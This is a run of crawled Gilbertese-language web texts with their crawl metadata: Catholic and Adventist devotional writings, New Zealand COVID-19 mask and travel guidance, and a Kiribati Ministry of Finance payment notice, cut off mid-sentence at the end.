tabun tenga te ririki n nako, ao are E nakonako ni kawaini Kariraia, bon Ngaia naba are E nakonako ma ngaira ngkai ni kawaira, ao inanon ara kaawa ao E maiu ni koaua ibuakora n ara botaki nako.\nTe bai ae moan te kakawaki n ara onimaki ni Katorika ba bon Iesu ae E maiu ni koaua n te Eukari inanon mimitongina n Atua ibuakoia ana Anera ao are E tauraoi ni butimaira ngkana ti roko n te umantabu n taromauria ao n nebaoia ke ngkana ti uoti rawawatara ma kainnanora nakoina. Te koaua ae a boni maiti taian kakai ake a tia n reke ake a kakoaua ba Iesu n te Eukari E maiu ibuakora n arona n aomata ao n arona n Atua iaan katotongan te bane ma te wain ake a onikaki aroia iroun te Berebitero, ni makan te Atua ba rabatan ao raran Iesu ni koaua.\nAio au tibatiba teuana are e kamatoa au onimaki ba aio bon te koaua...ae e maiu Iesu n arona n aomata ao n Atua ibuakora ao raora n tainako ke Emmanuera.\nImain rikiu ni Katorika ao I bon kauntaeka iaon te koaua aio ma tinau ao e kangai ara kauntaeka. \"Tera ae ko a mamanaki iai n te Katorika ae ko a bon bora n nanako iai?\" Ao I taku nakoina \"Iesu ae E maiu n te Eukari.\"\nE kamamaeai ao e taku, \"Ane ko a kababaki.... ba e kona ni maeka ikai te Atua n te aro anne?\"\nI karaba te Uea ba e a anganai naba au kaeka n te tai arei ma te ninikoria ao I kangai, \"Ao ko kakoaua ae ngkai ti kauntaeka ao E tei Iesu irarikira ngkai?\" \"I kakoaua.\" E kaekai ma te bononnano tinau.\n\" Ko kakoaua ae akea tian makan te Atua?\" \"I kakoaua,\" e manga kaeka tinau.\n\"Ao ko kakoaua ae ngkana E onika te bai teuana nakon teuana ao e kona n riki?\"\nE aki kaekai tinau ao e a bobonako naba ma te ngurengunre n raonaki ma tamau are e ongongora naba. I bon nora moaia ae a iangoa au taeka arei ao n tabe nanoia iai ma e aki reke boona irouia.\nI karaba te Uea n aron ana ibuobuoki n te koaua ni koaua are E anganai anne ba au kaeka n te tai arei. Bon akea au atatai n taekan te aro n te tai arei ao I karaba te Atua ngke E anganai Tamneina ae e Raoiroi ba E na kaotaai.\nE riki aio ba au kakoaua ao aan au onimaki n tainako. I kakoaua ba Iesu, n arona uoua tabun tenga te ririki n nako ao bon arona naba ngkai...E maiu irarikira ...E a kaman nori ara iango ma bai aika a na riki, E tauraoi n ibuobuoki, E koburake n te tangira ibukira ma E kantangaira riki ba ti na kaoka ana tangira anne nakoina n arora ni kabane. Ao riki ni kona ni kamaroroa n reken ara tai n te Eukari.\nNgkana E maeka ni koaua Iesu irarikira n arona n aomata n irikona ma rarana ao n arona n Atua n te n te Eukari ao ti na ukeuke riki nakea? Ngkana E maeka irarikira te Koburake n Tangira, Te koburake n Karatia, te Koburake n kabaia, te Koburake n wanawana, ....te Karanga ni Kamaiu... ao ti na ukeuke riki nakea?\nImwain rikiu ni Katorika ao I bon kataia n ukera te Atua ae akea rabatana ao e riaon au iango. Ni koron au kakae ao au ukeuke ao I arora rauraun baiu n te tairiki teuana nakon te roo ma te ianimama i tinaniku... ni kakae ba e nga te Atua ao N na kunea ia. I namakina te ang ae e uka nanon baiu ao I ataia ba iai te ang ae I namakinna ma akea rabatana. I ukeuke ao I kakaea ba e na reke ia te Atua, ao N na kona ni kunea n namakinna ke I aki.\nImwin te teimatoa n rotario ma Tinau Nei Maria ao ngke I a babetitoaki ao I a anganaki rabatan Iesu n te Eukari. Ngke I butimaia ni kanna ao e taonai te namakin ae e rangi ni kamimi ba te kimareirei ae e koburake. I euta matau ao I nora tamnein (statue) Nei Maria n arana are Nei Maria te Kakai n arora baina n tarai. I kaeka nakoina ao I taku \" Nei Maria, aio are ko kakairirai nako iai ae bon natim Iesu n te Eukari?!!!\" Ao e taonai te kimareirei ma angin te raoi ae e korakora.\nE a reke irou au Uea ma Atuau ao au Tangira inanon rauraun baiu. E kataua ba E na kawarai n arona ae mangori ian katotongan te bane. Ngke E nora kainnanoan te Tangira ni koaua irou, ao I karaba te Atua ba E anganai namakinan te kimareirei ma te raoi are e reke ngke e reitaki buroou ma buroon natina ae Iesu inanon te Komunio.\nAo E taetae nakoiu Iesu n te aio ni kangai,\n\"Ko aki kainnanoia ba N na babakoiko n tainako ni kabaroa au Tangira nakon buroom ngkai ko tei ikanne ao Ngai ikai? BONI NGKOE INANOU AO NGAI INANOM N TAINAKO.\nAu makuri ni kabane ibukim, Ikeikeu ao maonou ni kabane ibukim, Maiu ao korakorau ni kabane ibukim.\nNgkana iai te marawa imarenara ba tao ko mena i Biti ke ia, Ngai i nanom ao ngkoe inanou n tainako.\nE na aki manga uruaki nanom Ba I aki kona n urua nanom. Bai ni kabane aika ko tangiri\na bane n reke irou.\nBaini karawa, baini marawa bain taari ma antare, ngkana ko tangiri, N na anganiko.\"\nKo raba Iesu ba I kunea te oin Tangira ni koaua iroum, te Tangira ae akea ae kona n anganai, te Tangira ae akea kabotauana, te Tangira ae karikai ba te kakawaki n aomata ngai, te Tangira ae kaotia nakoiu ba boni Ngkoe Au Uea, Atuau ao au Tangira ni koaua.\nTariu ao maneu, aikai tabeua kanoan ara maroro n te tai aio ake ti na kariki ba ara nebonebo ao ara katituaraoi nakon ara Uea ae Iesu ae E maiu rarikira n taai nako. Ti na butia ba E na anganira te korakora ni kawaria n tainako n te Eukari ni kamaroroa ao ni karekea te kakorakoraaki mai irouna.\nTi na butia ba E na anganira ana Tangira ae ti na kona ni manga Tangiria ni koaua iai ao ni kateimatoaki. Ana Tangira are e na koburake ba ti na uouotia nakoia tarira ao manera nako ao are ti kona ni kairia iai nakon te te Koburake n Ran ni kamaiu, ae maiu man ikeike ibuakora – Iesu n te Eukari.\nFulitua Taraora, St Teretia n Iesu te Tei, New Zealand","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/29-iesu-ae-e-maiu-ni-koaua-n-te-eukari-ae-moan-te-tabu","date":"2023-06-05T03:19:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00756.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1252,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nangoan te ubu a ibuobuoki n totokoa butinakon te COVID-19 man kauarerekean mwaitin te manaoraki:\n- e butinako iroun temanna ae iai irouna te COVID-19\n- e ikenaki irouia aomata ake irarikia.\nIai taabo tabo tabeua ake ko na kainanoaki bwa kona kabongana nangoan te ubu, n aron taabo ni kuakua (GPs, onaoraki, a bati riki.). Kakoaua raoi bwa kona atai rongorongo aika a boou ibukin kaetieti ibukin nangoan te ubu.\nTe tabo raa ae ko riai ni kabongana iai nanongan te ubu\nKo kona ni karekei nangoan ubu aika akea booia ngkana ko anai am RATs man te tabo n ake ana rikoaki iai. Ngkana e na riai te ananga ni kai reke n te aoraki ae kakaiaki, ao ko kona ni karekei nangoan taian ubu aika taian P2\/N95 aika akea booia.\nOtana am bwai n tutuo ae te Rapid Antigen Tests ao akea boona (external link)\nLast updated: at","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/prepare-and-stay-safe\/kabonganan-nangoan-te-ubu-wearing-a-face-mask\/","date":"2023-06-07T15:36:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653930.47\/warc\/CC-MAIN-20230607143116-20230607173116-00087.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":149,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mwaneka Nakon Kuristo\nMWAKORO 2—BUOKAN TE TIA BURE BON KURISTO\nE anganaki te aomata ngke e moa ni karikaki mwaakana n ti ata ae raoiroi ma te iango ae etieti raoi. E bon kororaoi n arona, ao e inanoi ma te Atua. Ana iango a bon itiaki, ao iangon nanona a raraoi. Ma i bukin te aki ongotaeka are e a bitaki iai mwaakana, ao e a onea mwin te tangira te iaiangoia ibon irouna. E kamemereaki arona i bukin te uru tua n te aro are t a kanganga i bon irouna n oini korakorana n tei n rawa nakon te bure. E karaoaki bwa te taenikai iroun Tatan, ao e na bon tiku n arona arei n aki toki ngke arona bwa E aki roko te Atua n ibuobuoki. Bon ana kantaninga te tia kariri bwa e na katinanikoraea te kantaninga n Atua i bukin karikan te aomata, ao ni kaona te aonaba n te rekenikai ma te uruaki. Ao e bukina te Atua ni kabuanibwai aikai ni bane bwa angkoa uani mwin ana mwakuri ngke E karika te aomata. MK 13.1\nNgke e tuai ni bure te aomata, ao e boni tiku n inanoi ma Teauare \"a bane ni karabaaki i nanona bwaikorakin te rabakau ma te atatai.\" I-Korote 2:3. Ma i mwin ana bure, ao e aki manga reke kukureina n te raoiroi, ao e a karabaraba mai matan te Atua. Anne aron te nano ae aki manga kaboouaki. E aki inanoi ma te Atua ao e aki reke kukureina n te itoman ma Ngaia. E aki kona te tia bure ni kukurei ni mena i matan te Atua; e na kerikaki man te iraorao ma ake a itiaki. Ngkana arona bwa e kariaiakaki rinna i karawa ao e na bon akea kukureina iai. Bwa te nano n tangira are aki iaiangoia iboni irouna are taua taekan ikekei, ma nano nako ake a ongeaba nakon nanon te Atua n tangiraa na bon aki boraoi ma nanona. Ana iango nako, kukureina, kantaningan nanona, a na bon kaokoro ma aroia nake aki bure ake a mamaeka ikekei. E na riki ngaia bwa kanga te nooti ae borata n raoiroini katein karawa. E na riki karawa nako ina bwa te tabo ae kamaraki; ao e na tangira te karaba mai matan Teuare bon otan ikekei; ao oini kukurein te tabo arei. Bon akea ana taeka te Atua n tutuki mai karawa i bukia taani bure; ma aki rin ikekei ibukin aia aki tau nakon iraoraon ikekei. E riki mimitongin te Atua nako ia bwa te ai ae kaakang; a na tangira riki te kamaunaki, bwa aonga ni karabaki mai matan Teuare E a tia ni mate bwa E na kamaiuia. MK 13.2\nE bon rangi ni kanganga i bon iroura boni ngaira, bwa ti na birinako man mwaruan te bure are ti a tia n iinako iai. A bubuaka nanora ao ti aki kona ni bibiti. \"Ai antai ae kona n ana te bwai ae itiaki mai nanon te bwai ae bareka? Akea temanna.\" Iobi 14:4. \"Te nano ae ana bwai te rabwata bon ribaan te Atua; bwa e aki mena i aon ana tua te Atua, ao e bon aki kona naba.\" Rom 8:7. Te reirei, katein te aba, kabonganan te iango, te korakora n aomata, a boni bane n iai tokin aroia, ma bon akea mwaakaia. A kona ni karekea te tararoi, ma aki kona ni bita te nano; ao aki kona ni kaitiaka koburaken te maiu. E na bon riai n iai te mwaaka ae mwamwakuri man te nano, te maiu ae boou mai eta; i mwain ae e na kona te aomata ni bitaki man te bure nakon te maiu are raoiroi. Te mwaaka aei boni Kuristo. Ana akoi n ti ngaia e na kona n anga te manga maiu nakon te iango ae akea maiuna, bwa e aonga ni katikaki nakon te Atua, ao nakon te maiu ae itiaki. MK 13.3\nE taku te Tia Kamaiu, \"Ngkana e aki manga bungiaki te aomata mai eta,\" ngkana e a aki reke i rouna te nano ae boou, ingaingan te nano ae boou, te kantaninga, are e na kairiri nakon te maiu ae boou, ao \"e aki kona n nora Uean te Atua.\" Ioane 3:3. Te kantaninga are angkoa te bwai ae riai n ti kaikawaki te raoiroi are e mena i nanon te aomata n rikina, bon te kewe ae tiritiri. \"Ao te aomata ae bon te aro n aomata e aki kaki i nanona bwaai ake ana bwai Tamnein te Atua: bwa e taku bwa te nanobaba; ao e aki kona n atai, bwa e neneraki aron baikai n te aro n tamnei.\" 1 Korinto 2:14. \"Tai mimi n au taeka nako im ae kangai, e riai bwa ko na manga bungiaki\" Ioane 3:7. E koreaki ae kangai ibukin Iesu, \"E mena te maiu i Rouna; ao otaia aomata te maiu arei.\" Ioane 1:4. Bon ti Ngaia \"te ara teuana i aani karawa ae anganaki aomata ae ti kona ni kamaeuaki iai.\" Makuri 4:12. MK 14.1\nE bon aki tau ti ataan ana tangira n nanoanga te Atua, ma noran aron te tatangira ma te akoako n Tama are bon kateina. E bon aki tau ti ataan te wanawana ma etin raoin ana tua, ma n noria bwa e kateaki i aon koauan te tangira ae akea tokina. E nora aei ni bane Bauro are te abotoro ngke e kangai, \"I taku bwa e raoiroi te tua.\" Rom 7:16. \"Mangaia ae e itiaki te tua, aoe itiaki naba ana taeka te Atua, ao eti, ao e raoiroi.\" Rom 7:12. Mae a manga taku naba i buakoni korakain nanona ma bwarannanona, \"Ana bwai te rabwata ngai ao e kaboaki bwa ana toro te bure.\" I-Rom 7:14. E korakora nanoni Bauro nakon te itiaki, te raoiroi, are bon akea i rouna te kona ni karekea, ao e tangi ni kangai, \"Te aomata ae e kai nanou ngai! Ai antai ae e na kamaiuai man rabatan te mate aei?\" Rom 7:24. Te tang ae aron aei a tia ni waerake man nano aika rawawata n aba nako, ao n roko nako. Bon ti teuana te kaeka nako iai ni bane, \"Nora ana Tibutetei te Atua ae uoti nako aia bure kain aonaba.\" Ioane 1:29. MK 14.2\nA mwaiti kawai ni kaokaota aika E ukoukori Tamnein te Atua ni kaota te koaua aei, ao ni katereterea raoi nako ia ake a kainnanoa te kani kainaomataaki man te karawawataaki n te bure. Ngke e a tia ni kairua Iakoba i bukin mwamwanan Etau, ao e birinako mani mwengan tamana, ao e karawawataaki n namakinan te bure. E maroa ao e kakiaki n arona arei, e karaureaki ma bwaai ake a kakukureia te maiu: ma bon ti teuana te bwai ae rine riki n ana iango bwa bon ti te maaku i bukin ana bure are e a tia ni karaurea ma te Atua n te aro are e a kakiaki taekana mai Karawa. I buakon rawawatana ao e wene ni motika rawana i aon te tano n aki kienna, ao ni katobibia rarikina bon taian tabuki aika a kamaroa, ao i etana boni karawa ae ainga n taian itoi. Ngke e matu ao e noraki i rouna te ota ae kamimi ni mina, ao noria, bon te kai n ararake ae tei man te aoraoi are e wene iai, ao abwabwakin nun te kai n ararake aei e tara ni bakarere rake n roko i mataroani karawa,?ao i aona bon ana anera te Atua aika ruo ma n rierake iai; ao man te mimitong are mai eta riki e a ongo te aba mai iai bwanaan te Atua aika taeka ni karaunano ma ni kakukurei. N te aro aei e kaotaki nakon Iakoba kaekaan te bwai are kainnanoia, ao are e bane nanona nako iai are bon te Tia Kamaiu. Ma te kukurei ao te karabwarabwa (iroun Iakobwa) bwa e a tia n nora te kawai are e kona iai ngaia, ae te tia bure ni manga itoman ma te Atua. Te kai n ararake are e kamimi are ni mina bon kabotaunarian Iesu, are ti Ngaia te kawai n itoman i marenan te Atua ma aomata. MK 14.3\nBon te kabotaunari naba aei are kaoka te iango nako iai Kuristo n ana tai ni maroro ma Natanaera ngke E kangai, \"Bwa ane kam na nora karawa bwa e kaukaki ma ana anera te Atua bwa a rierake ma n ruona Natin te Aomata.\" Ioane 1:51. N ana tai n rawa te aomata ao e boni karikia i boni i rouna bwa te ianena mairoun te Atua; ao e karaureaki aon te aba ma karawa. Ai bon akea te itoman n te marenaua are e wene imarenaia. Ma i nanoni Kuristo e a tia ni manga katomaki aon te aba ma karawa. N oin raoiroin Kuristo E a tia ni manga katoma te marenaua arei are e a tia n riki n te bure, n te aro are a kona iai anera aika tabonibai ni kateimatoa te itoman ma aomata. Bon Kuristo are E katoma te aomata ae bwaka i buakoni memerena ao ana aki konabwai ma Boton te Mwaaka are akea tokina. MK 15.1\nMa a matebuaka iango n aomata n te waki aei, akea bongan te kataia n tabeka te botannaomata, ngkana a kakea bongan Boton te Kantaninga, ao te buoka i bukin te botannaomata ae bure. \"Angabwai aika raraoi ma bwaai n tituaraoi\" Iakobo 1:17 boni mairoun te Atua. Bon akea koauan kororaoin te aroaro i rarikin are i Rouna. Ao bon ti te kawai nakon te Atua Kuristo. E taku Iesu, \"Boni Ngai te kawai, ao te koaua, ao te maiu: akea ae nakon te Tama bwa ti i Rou.\" Ioane 14:6. MK 15.2\nE bane nanon te Atua n tangiria natina n te aonaba aei n te tangira ae korakora riki nakon te mate. Ngke E anga Natina ao E a bon tia iai ni kabwaroa karawa ae bwanin nako ira n te bwaintangira ae ti teuana. Maiun te Tia Kamaiu ma matena ao arona n raoi, aia ibuobuoki anera, ana bubud ni ngirangira te Tamnei, aron te Tama ni mwakuri i aoni bwaai nako ao i nanoni bwaai nako, aki totokin nanoia kaini karawa - baikai ni kabane a bane ni karaoaki i bukin kamaiuan te aomata. MK 15.3\nTi bon riai ni kabwabwaka iangoan te karea are kamimi are e a tia ni karaoaki i bukira! Ti riai ni karekei kukurein nanora n te mwakuri ao te korakora are e a tia ni karaoia karawa i bukin kaokaia aika bua, ni manga kaokia nakon ana auti te Tama. Korakoran te nano, ao mwakuri aika mwaaka a bon aki kona ni kaira te iango; ma bon i bukin kaniwangan karaoan te riai, kukurein karawa, te iraorao ma anera, te itoman ma ana tangira te Atua ao Natina, aroni karinean ao kabwabwakan mwaaka ni kabane i nanon ririki aika akea tokia - tiaki boni baikai ni bane aika kakawaki are a kaungaira ao ni kainaoira bwa ti na anga nanora bwa te karea ae maiu nakon ara Tia Karikibwai ao ara Tia Kamaiu? MK 15.4\nMa n iterana are teiterana, bon iai ana motikitaeka te Atua are taekinaki n ekanako te bure, koauan te katuaeaki, karinanoan arora, ao te kamaunaki are te kabanea, baikai ni bane a boni bane ni kaotiotaki nako ira n ana taeka te Atua bwa reireiara bwa ti na tarataraira man ana mwakuri Tatan. MK 16.1\nTiaki ti bon riai n iangoa aron ana tangira te Atua? Tera riki ae E tuai ni karaoia? Ti bon riai n anga ngaira nakon te nakoraoi ma Teuare E a tia n tangirira n te tangira ae korakora riki nakon are ti kona a ataia. Ti bon riai ni karekei tibwangara ni bwaai ake a tia n tauraoi i bukira, bwa ti aonga n oneaki ni katotonga aron te Atua, ao ni manga kaokaki nakon te manga itoman ma anera aika tabonibai, ao te inanoi ma te iraorao ma te Tama ao te Nati. MK 16.2","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/m.egwwritings.org\/gil\/book\/12469.40","date":"2023-06-09T10:32:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224656675.90\/warc\/CC-MAIN-20230609100535-20230609130535-00791.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1982,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kitanan Nutiran | Leaving New Zealand\nTe babaire imwain boraum\nImwain mwanangam nako tinaniku, tuoi bwaai aika a tangiraki n te aba are ko na nako iai. Tuoa\n- ana website te aba are ko kan nako iai, ke ni moanna iaon kawaim nakon te aba teuana, ke\n- te tia tei ibukin te aba anne i Niutiran.\nAngiia aba a tangiria taan mwamwananga bwa a na tiku n okoro i bon irouia n rokoia, kaota kakoauan koron itia n totoko ke kakoauan ae akea manin COVID-19 imuin aia tutuo imwain ae a mananga.\nKabaea aram ma SafeTravel. Ngkana ko register, e na reke iroum te kauring ngkana iai bitaki nakon te borau.\nKarina rongorongom ae banin ma SafeTravel (external link)\nInternational Travel Vaccination Certificate (Beba ni kakoaua ibukin koron itim n totoko ibukin te mwamwananga nako aban tinaniku)\nTe aomata ae 12 ana ririki ni waerake ae e a tia n reke irouna te iti n totoko ibukin COVID-19 i Niutiran e a kona ngkai n bubuti te International Travel Vaccination Certificate.\nE kona ni kabanea 1-2 te miniti ibukin karekean am certificate ao e a merinaki nakoim inanon 24 te aoa. Ko kona n karekea am Certificate man My Covid Record. (tauan muin rongorongou ibukin COVID). Ngkana ko aki kona n rin n te tabo aio, tarebonia 0800 222 478.\nInternational Travel Vaccination Certificate\nTe tutuo imain kitanakin NZ\nTabeua aba a tanigiria taan borau bwa a na akea manin te COVID-19 imuin aia tutuo imwain mwanangaia.\nNoria bwa tera ae a tangiria kain te aba ae ko na borau nako iai, n reitaki ma te High Commission, embassy ke consultate i Niutiran.\nRongorongo riki tabeua ibukin te borau man te Ministry of Health (external link)\nLast updated: at","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/travel\/leaving-new-zealand\/","date":"2023-06-07T16:16:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224653930.47\/warc\/CC-MAIN-20230607143116-20230607173116-00530.warc.gz","language":"gil","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000004768371582}","num_words":282,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.301,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anterea, are e buoka Tinau ma katauraoan te amarake, e noria ba ai ti teutana te amarake, ba e a rangi n uarereke are ti na bon bane n aki ngae iai.\nE taku Anterea nakon Tinau, \"Ko na kariaia moa, Tinau Maria, ba N na ti otinako moa teutana.\" Tinau, e tara Anterea ao e taku \"Ao ngaia ma kawaekoako, ba muina ao e na aki reke kanam.\"\nE nako ngkanne Anterea nakon Iuta Itekariota ao e wirikiriki nakoina. E wingare Iuta, ao e karea nanon bain Anterea te bwai teuana.\nIuta Itekariota, e nangi n tatangira Tinau, ao bon akea te bai ae e kona n tautia iai Tinau, e ngae ngke e konaa ao e bon aki kan anganga, nakoia aomata aika a maiti.\nNgke e a mwananga nako Anterea ao Iakobo e a oki ma te ran.\n\"E naera Anterea?\" e titiraki.\n\"Tai tabe iai ,\" e kaeka Batoromaio, \"e na bon waekoa n oki.\"\nE a tia ana kuka Tinau ao e tuai man oki Anterea. E anaa ana kuka ao e a tibatibaia ni kakauarerekea ba ti na bane n toa ao e katuka teuana te tiba ibukin Anterea.\nE taetae Iuta man taku, \"Kai akea ae ko katukua ibukim Tinau.\"\nTinau e tara Iuta ao e taku. \" E raoiroi, I a amwarake rimui. Kam riai n amarake ba e na reke korakorami ibukin ami makuri ni kabane aika kam kakaraoi.\" A bane ngkanne au Reirei n taraa aia raurau are imataia ao a ataia ba bon ti arei te amarake are e kona n angania Tinau, ao e kariaia riki ba e na baki n aki amarake ibukia.\nE tararake Betero ao e taku, \"E bon rangi n maiti ae ko anganira aio, ae, tia tibaa kanara.\"\nE a itianako ngkanne kanoan ana raurau nakon teuana te raurau ibukin Tinau ao nake tabeman, a bane ni karaoa naba anne.\nMa Iuta Itekariota, e aki itianako kanoan ana raurau ma e katokai matana iaon te mataroa. E aki maan ao e a wingare n te wingare ae e rangi ni bubura, ngke e a nora Anterea n rinnako ma te baeki ae e rangi ni bubura i baina.\nTi bane n tara Anterea ngke e taku nakon Tinau, \"Tinara, ara iango ba ngkai ti a tia ni kakana kanam ae e rangi ni maiti, ao ko aki toki ni bubutimaira n te aro ae ti rangi ni mwemwengaraoi iai, ao e riai ba ti na manga kaboa muin ae ti a tia ni kabanea.\"\nE kauka te baeki ao e a kaotinakoi kanoana aika taian amarake ibukin teuana te namakaina. \"O natiu,\" e taku Tinau, ao e baka rannimatana teuana iaon tabana, 'kam rangi n akoai.\"\nE teirake Iakobo ao e kibakiba man aneenene,\"Te baintangira ibukin Tinara, te baintangira ibukin Tinara,\" ao e kibakiba n raraunia te ruu. E bon tia ao e nakon Tinau ao e tuangnga, \"Tekateka ba N nang katauraoa kanam.\"\nE tekateka Tinau man taraa n rangi ni kukurei ao ni kakatituaraoi ibukin aia tangira au Reirei. E kukurei nanou irouia. Bon ti tebo ma ataei aika a uarereke ake a uoti aia baintangira nakon Tinaia.\nI tekateka n iango ba tera ngke aio aroia te botanaomata nako. Tera ngke a noria ba Tinau, akea tian ae e kona ni karaoia ni buokiia. E kona naba n anga are ana bai, n aki karongoa...ana tangira te Tina ni koaua.\nI tangiria ba aomata ni kabane, a na nora aron kakawakin ao bonganan Tinau, inanon maiuia, ao I tangiria aomata ni kabane, ba ana karaoi aroaro nako, ni kaota aia tangira ma aia karinerine nakoina, n aron are a karaoia au Reirei, eng, n aron naba are e karaoia Iuta Itekariota.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/64-nanon-iesu-ibukira-nakon-tinana","date":"2023-06-05T02:18:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00732.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":619,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti ongora n te Ewangkerio n te bong aei aron Iesu n taetae ni kamaraia nakoia baritaio ibukin aroia aika bati ake a aki botau ma Nanon te Uea. Teuana aroia ae ti tuangaki ba aroia ni motikii taekaia aomata man aron tarakiia mai tinaniku ao tiaki man taran te nano.\nN tabetai ao ti kabanei ara tai ao ara mane ni katamaroa aron tarara mai i itinaniku ao ti aki mannanoa aron nanora ma tamneira. Te bai ae kakawaki ba a na riai n ti teuana ara makuri ma nanora. Ti na karaoi bai ni kabane tiaki ibukin te kan atongaki raoi, ke ibukin karekean arora ke tera riki ma ti na karaoi ara makuri ibukin kaotan ana Tangira te Uea are e maiu inanora. Ngkana ti karaoa aio ao ti na kakoaua n tai nako ae ti waaki inanon te eti ao te koaua are bon mairoun te Atua.\nN aiaron ae ti nakon te taokita ngkana a aoraki rabatara, ti riai naba n nanakon taokitan te tamnei ba e na tuoa tamneira ao e na anganira bai n aoraki aika a na kamarurunga tamneira. N aiaron ae ti kainnanoa te tebotebo ni katoa bong ao ti riai naba ni kaakawara te Takaramentu ni Kaiooki ao ni Kamarurung ae te Benetenia ba ao a aonga n itiaki nanora ma tamneira ao ni kakoaua n taai nako ba ti karaoa Nanon te Atua inanon maeura. Ti na butia te Uea ba E na anganira ana karatia ba ti na aki kabanei ara tai ni katamaroai tinanikura ba muina ao ti na reke naba n ana taeka ni kamaraia Iesu nakoia baritaio are ti ongo n te bong aio.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/68-kaitiakan-nanora-ma-tamneira","date":"2023-06-05T02:59:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00175.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":279,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Covid-19 Payment Notice\nNOTICE\nMauri ara Customers ni kabane man Tarawa Teinainano (TUC) ao Betio (BTC),\nIbukin waaki n katamaroa n totokoan ao kauarerekean butin te Aoraki ae te Covid19, kamwa kaongoaki ikai bwa te bwakamwane ae ena karaoia te Botaki ni Mwakuri ibukin te Mwane ke te Ministry of Finance ena karaoaki rinanon te online ke te transactive.\nTi karautaeka bwa eaki moa kaungaaki te bwakamwane are rabwata ke te 'Payment in Cash' ma kamwa butiiaki ikai bwa kamwa uota ke n anga ami akaaunti nambwa ibukin buokami.\nIbukin rongorongona ae bwanin ao reitaki ma te Nambwa n Tareboon aio 74021806 Ke te email address ae firstname.lastname@example.org.\nTina bubuti ami ibuobuoki ao ami tataonanno iaon aio.\nKam rabwa.\nAnne ma iroun Te Tia Koroboki n te Bootaki n Mwakuri ibukin te Mwane.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/mfed.gov.ki\/our-work\/covid-19-payment-notice","date":"2023-09-25T16:29:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233509023.57\/warc\/CC-MAIN-20230925151539-20230925181539-00718.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":132,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a tia te Tautaeka ni kanakoi nikiran taian kaetieti ibukin marurungin te botanaomata ni kaeti ma te COVID-19; 7-te bong ae ko riai ni kaokorokoe riai bwainan te nangoa n ubu ibukiia taan roko nakon te tabo ni kuakua.\nTi mwakuri ngkai n kabooui rongorongo iaon te iterana ni baa iaon te inanete aio. Manga oki riki n te tai ae aki maan ibukin kaetieti ni kairiri aika a kaboouaki.\nTe mwamwananga nako Nutiran | Travelling to New Zealand\nKaekae nako bwa tera bwaai aika ko kainanoi ni karaoi ngkana kona mwananga nako Nutiran.\nNgkana e a kaoti iroum kanikinaean te COVID-19 inanon rokom i Nutiran 